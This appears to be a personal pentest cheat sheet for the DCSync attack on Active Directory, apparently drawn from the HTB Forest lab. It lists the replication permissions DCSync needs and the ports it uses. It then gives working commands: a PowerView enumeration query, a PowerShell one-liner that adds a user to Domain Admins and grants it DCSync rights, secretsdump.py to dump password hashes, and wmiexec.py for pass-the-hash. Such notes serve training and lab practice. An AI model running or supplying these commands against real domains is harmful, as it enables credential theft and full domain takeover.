Port 49667, 445, 135 is used for DC Sync attack

## Enumeration (PowerView)

## Permission needed for DCSync
1. Replicating Directory Changes ([DS-Replication-Get-Changes](https://docs.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes))

2. Replicating Directory Changes All ([DS-Replication-Get-Changes-All](https://docs.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-all))

3. Replicating Directory Changes In Filtered Set ([DS-Replication-Get-Changes-In-Filtered-Set](https://docs.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-in-filtered-set)) (this one isn’t always needed but we can add it just in case)

`Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -eq 'leon'}
`One-Liner that will transfer our `owned user` to `“Exchange Windows Permissions”` and we become part of the `DCSync` and `WriteDacl permissions` and then fetch hash with [secretsdump.py](http://secretsdump.py)
`
`Reference:
[HTB: Forest | 0xdf hacks stuff](https://0xdf.gitlab.io/2020/03/21/htb-forest.html)
```sh
# Toss up PowerView before running the One-Liner that will give us the DCSync rights.
Add-DomainGroupMember -Identity 'Domain Admins' -Members wario; $username = "medtech.com\\wario"; $password = "Mushroom!"; $secstr = New-Object -TypeName System.Security.SecureString; $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr; Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'wario' -TargetIdentity 'medtech.com\\Domain Admins' -Rights DCSync

# Check if user got added to the group with GenericAll Permission
net group "Exchange Windows Permissions"
secretsdump.py svc-alfresco:s3rvice@<ip>
# Passing the hash
wmiexec.py -hashes <hash> htb.local/administrator@<ip>
```